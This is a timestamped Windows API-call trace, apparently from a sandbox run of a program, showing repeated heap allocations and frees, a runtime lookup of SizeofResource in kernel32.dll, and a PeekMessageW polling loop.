[0135.108] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf928 [0135.108] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ea0 [0135.108] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9f8 [0135.108] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf948 [0135.108] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d80 [0135.109] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ea0 | out: hHeap=0xe80000) returned 1 [0135.109] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0135.109] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d80 | out: hHeap=0xe80000) returned 1 [0135.109] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0135.109] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf988 [0135.109] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e88 [0135.109] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf858 [0135.109] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf878 [0135.109] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f00 [0135.109] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e88 | out: hHeap=0xe80000) returned 1 [0135.109] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.109] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f00 | out: hHeap=0xe80000) returned 1 [0135.109] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf878 | out: hHeap=0xe80000) returned 1 [0135.109] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0135.110] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f78 [0135.110] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf948 [0135.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SizeofResource", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0135.110] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xf) returned 0x1077d20 [0135.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SizeofResource", cchWideChar=15, lpMultiByteStr=0x1077d20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SizeofResource", lpUsedDefaultChar=0x0) returned 15 [0135.110] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d20 | out: hHeap=0xe80000) returned 1 [0135.110] GetProcAddress (hModule=0x770a0000, lpProcName="SizeofResource") returned 0x770b8f80 [0135.110] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f78 | out: hHeap=0xe80000) returned 1 [0135.110] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0135.110] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba728 [0135.110] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf858 [0135.110] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf948 [0135.110] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.110] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0135.111] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba728 | out: hHeap=0xe80000) returned 1 [0135.111] SizeofResource (hModule=0x0, hResInfo=0x3776b8) returned 0x57400 [0135.111] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf998 [0135.111] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0xed5c88 [0135.112] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077fa8 [0135.112] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cd8 [0135.112] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e28 [0135.112] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d68 [0135.112] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9d8 [0135.112] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d68 | out: hHeap=0xe80000) returned 1 [0135.112] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0135.112] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e28 | out: hHeap=0xe80000) returned 1 [0135.112] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d20 [0135.112] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e28 [0135.112] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f90 [0135.112] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf948 [0135.112] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f90 | out: hHeap=0xe80000) returned 1 [0135.112] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0135.112] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e28 | out: hHeap=0xe80000) returned 1 [0135.112] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d38 [0135.112] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e28 [0135.112] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d50 [0135.112] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf858 [0135.112] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d50 | out: hHeap=0xe80000) returned 1 [0135.112] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.113] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e28 | out: hHeap=0xe80000) returned 1 [0135.113] FreeLibrary (hLibModule=0x770a0000) returned 1 [0135.113] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0135.113] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.114] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba520 | out: hHeap=0xe80000) returned 1 [0135.114] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e58 | out: hHeap=0xe80000) returned 1 [0135.114] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0135.114] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d98 | out: hHeap=0xe80000) returned 1 [0135.114] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d08 | out: hHeap=0xe80000) returned 1 [0135.114] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077de0 | out: hHeap=0xe80000) returned 1 [0135.114] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e70 | out: hHeap=0xe80000) returned 1 [0135.114] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f30 | out: hHeap=0xe80000) returned 1 [0135.114] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f48 | out: hHeap=0xe80000) returned 1 [0135.114] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cc0 | out: hHeap=0xe80000) returned 1 [0135.114] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e40 | out: hHeap=0xe80000) returned 1 [0135.114] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077dc8 | out: hHeap=0xe80000) returned 1 [0135.114] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f60 | out: hHeap=0xe80000) returned 1 [0135.115] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e10 | out: hHeap=0xe80000) returned 1 [0135.115] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077df8 | out: hHeap=0xe80000) returned 1 [0135.115] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ed0 | out: hHeap=0xe80000) returned 1 [0135.115] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba7c8 | out: hHeap=0xe80000) returned 1 [0135.115] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf878 [0135.115] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f30 [0135.115] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf878 | out: hHeap=0xe80000) returned 1 [0135.115] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f30 | out: hHeap=0xe80000) returned 1 [0135.115] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cd8 | out: hHeap=0xe80000) returned 1 [0135.116] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d20 | out: hHeap=0xe80000) returned 1 [0135.116] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d38 | out: hHeap=0xe80000) returned 1 [0135.116] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077fa8 | out: hHeap=0xe80000) returned 1 [0135.116] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed5c88 | out: hHeap=0xe80000) returned 1 [0135.116] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0135.117] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.117] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077af8 | out: hHeap=0xe80000) returned 1 [0135.117] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba520 [0135.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779f0 [0135.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0135.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077af8 [0135.117] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0135.117] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077af8 | out: hHeap=0xe80000) returned 1 [0135.118] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0135.118] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba520 | out: hHeap=0xe80000) returned 1 [0135.118] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.118] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9c8 [0135.118] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9c8 | out: hHeap=0xe80000) returned 1 [0135.118] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.118] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba7c8 [0135.118] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779f0 [0135.118] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0135.119] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0135.119] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.119] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.119] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0135.119] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.119] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077af8 [0135.119] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba728 [0135.119] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf988 [0135.119] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d50 [0135.119] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077af8 | out: hHeap=0xe80000) returned 1 [0135.119] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0135.120] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba7c8 | out: hHeap=0xe80000) returned 1 [0135.120] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba728 | out: hHeap=0xe80000) returned 1 [0135.120] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.121] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d50 | out: hHeap=0xe80000) returned 1 [0135.121] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.121] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec790 | out: hHeap=0xe80000) returned 1 [0135.121] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.121] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0135.121] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf878 [0135.122] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.122] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.122] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf878 | out: hHeap=0xe80000) returned 1 [0135.122] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.122] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec490 [0135.122] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.122] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec490 | out: hHeap=0xe80000) returned 1 [0135.122] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.122] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba728 [0135.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d80 [0135.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0135.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0135.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0135.123] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0135.123] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0135.123] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.123] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0135.123] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ea0 [0135.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba7c8 [0135.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf858 [0135.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e28 [0135.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ea0 | out: hHeap=0xe80000) returned 1 [0135.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d80 | out: hHeap=0xe80000) returned 1 [0135.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba728 | out: hHeap=0xe80000) returned 1 [0135.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba7c8 | out: hHeap=0xe80000) returned 1 [0135.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e28 | out: hHeap=0xe80000) returned 1 [0135.125] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.125] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0135.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0135.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0135.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0135.127] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.127] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec950 | out: hHeap=0xe80000) returned 1 [0135.128] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.128] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0135.128] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9f8 [0135.128] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.128] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.128] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0135.128] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0135.128] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0135.128] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0135.129] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0135.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9f8 [0135.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0135.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0135.130] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0135.130] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0135.130] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.130] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0135.130] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0135.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0135.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0135.131] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0135.132] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9f8 [0135.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0135.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0135.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0135.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0135.133] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0135.134] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0135.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0135.135] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec950 | out: hHeap=0xe80000) returned 1 [0135.136] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9f8 [0135.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0135.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.136] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.136] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0135.136] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0135.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb50 [0135.136] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba728 